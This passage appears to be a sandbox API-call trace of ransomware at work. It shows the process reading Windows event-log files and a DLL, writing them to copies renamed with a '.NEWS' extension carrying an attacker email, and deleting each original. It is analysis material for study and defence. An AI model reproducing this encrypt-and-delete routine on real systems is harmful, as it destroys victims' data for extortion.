lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x16c, lpOverlapped=0x0) returned 1 [0080.550] SetEndOfFile (hFile=0x378) returned 1 [0080.550] CloseHandle (hObject=0x378) returned 1 [0080.553] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.553] SetEndOfFile (hFile=0x37c) returned 1 [0080.555] CloseHandle (hObject=0x37c) returned 1 [0080.555] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.555] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0080.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.556] lstrlenW (lpString=".doc") returned 4 [0080.556] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString=".docx") returned 5 [0080.556] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.556] lstrlenW (lpString=".pdf") returned 4 [0080.556] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString=".xls") returned 4 [0080.556] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString=".xlsx") returned 5 [0080.556] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.556] lstrlenW (lpString=".ppt") returned 4 [0080.556] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.556] lstrlenW (lpString=".zip") returned 4 [0080.556] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString=".rar") returned 4 [0080.556] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.556] lstrlenW (lpString=".bz2") returned 4 [0080.556] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString=".7z") returned 3 [0080.557] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString=".dbf") returned 4 [0080.557] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString=".1cd") returned 4 [0080.557] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString=".jpg") returned 4 [0080.557] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString=".doc") returned 4 [0080.557] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString=".docx") returned 5 [0080.557] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.557] lstrlenW (lpString=".pdf") returned 4 [0080.557] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString=".xls") returned 4 [0080.557] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString=".xlsx") returned 5 [0080.557] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.557] lstrlenW (lpString=".ppt") returned 4 [0080.557] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.557] lstrlenW (lpString=".zip") returned 4 [0080.557] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.557] lstrlenW (lpString=".rar") returned 4 [0080.558] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.558] lstrlenW (lpString=".bz2") returned 4 [0080.558] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.558] lstrlenW (lpString=".7z") returned 3 [0080.558] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.558] lstrlenW (lpString=".dbf") returned 4 [0080.558] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.558] lstrlenW (lpString=".1cd") returned 4 [0080.558] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0080.558] lstrlenW (lpString=".jpg") returned 4 [0080.558] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.558] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.558] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0080.558] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.558] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0080.558] CloseHandle (hObject=0x37c) returned 1 [0080.559] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0080.559] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.559] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.559] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.559] GetLastError () returned 0x0 [0080.559] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.562] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.564] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.564] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x178, lpOverlapped=0x0) returned 1 [0080.564] SetEndOfFile (hFile=0x378) returned 1 [0080.564] CloseHandle (hObject=0x378) returned 1 [0080.566] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.566] SetEndOfFile (hFile=0x37c) returned 1 [0080.568] CloseHandle (hObject=0x37c) returned 1 [0080.568] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.568] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0080.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.568] lstrlenW (lpString=".doc") returned 4 [0080.568] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.568] lstrlenW (lpString=".docx") returned 5 [0080.568] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.569] lstrlenW (lpString=".pdf") returned 4 [0080.569] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".xls") returned 4 [0080.569] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".xlsx") returned 5 [0080.569] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.569] lstrlenW (lpString=".ppt") returned 4 [0080.569] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString=".zip") returned 4 [0080.569] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".rar") returned 4 [0080.569] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".bz2") returned 4 [0080.569] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".7z") returned 3 [0080.569] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString=".dbf") returned 4 [0080.569] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString=".1cd") returned 4 [0080.569] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString=".jpg") returned 4 [0080.569] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.569] lstrlenW (lpString=".doc") returned 4 [0080.569] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".docx") returned 5 [0080.569] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.569] lstrlenW (lpString=".pdf") returned 4 [0080.569] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.569] lstrlenW (lpString=".xls") returned 4 [0080.570] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString=".xlsx") returned 5 [0080.570] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.570] lstrlenW (lpString=".ppt") returned 4 [0080.570] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.570] lstrlenW (lpString=".zip") returned 4 [0080.570] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString=".rar") returned 4 [0080.570] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString=".bz2") returned 4 [0080.570] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString=".7z") returned 3 [0080.570] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.570] lstrlenW (lpString=".dbf") returned 4 [0080.570] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.570] lstrlenW (lpString=".1cd") returned 4 [0080.570] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0080.570] lstrlenW (lpString=".jpg") returned 4 [0080.570] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.570] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.570] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0080.570] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.571] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1052672) returned 1 [0080.571] CloseHandle (hObject=0x37c) returned 1 [0080.571] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0080.571] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.571] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0080.571] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.572] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.572] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.572] GetLastError () returned 0x0 [0080.572] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0080.923] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0080.940] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x1010, lpOverlapped=0x0) returned 1 [0081.136] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x1020, lpOverlapped=0x0) returned 1 [0081.139] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.139] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x164, lpOverlapped=0x0) returned 1 [0081.139] SetEndOfFile (hFile=0x378) returned 1 [0081.139] CloseHandle (hObject=0x378) returned 1 [0081.482] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.482] SetEndOfFile (hFile=0x37c) returned 1 [0081.483] CloseHandle (hObject=0x37c) returned 1 [0081.483] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.484] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.484] lstrlenW (lpString=".doc") returned 4 [0081.484] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".docx") returned 5 [0081.484] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.484] lstrlenW (lpString=".pdf") returned 4 [0081.484] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".xls") returned 4 [0081.484] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".xlsx") returned 5 [0081.484] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.484] lstrlenW (lpString=".ppt") returned 4 [0081.484] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.484] lstrlenW (lpString=".zip") returned 4 [0081.484] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".rar") returned 4 [0081.484] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".bz2") returned 4 [0081.484] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString=".7z") returned 3 [0081.484] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.484] lstrlenW (lpString=".dbf") returned 4 [0081.484] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".1cd") returned 4 [0081.485] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".jpg") returned 4 [0081.485] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".doc") returned 4 [0081.485] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".docx") returned 5 [0081.485] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.485] lstrlenW (lpString=".pdf") returned 4 [0081.485] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".xls") returned 4 [0081.485] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".xlsx") returned 5 [0081.485] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.485] lstrlenW (lpString=".ppt") returned 4 [0081.485] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".zip") returned 4 [0081.485] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".rar") returned 4 [0081.485] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".bz2") returned 4 [0081.485] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString=".7z") returned 3 [0081.485] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".dbf") returned 4 [0081.485] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".1cd") returned 4 [0081.485] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0081.485] lstrlenW (lpString=".jpg") returned 4 [0081.486] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.486] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.486] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0081.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.657] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19136) returned 1 [0081.675] CloseHandle (hObject=0x38c) returned 1 [0081.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0081.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.685] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.685] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0081.685] GetLastError () returned 0x0 [0081.685] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0081.686] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0081.688] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: 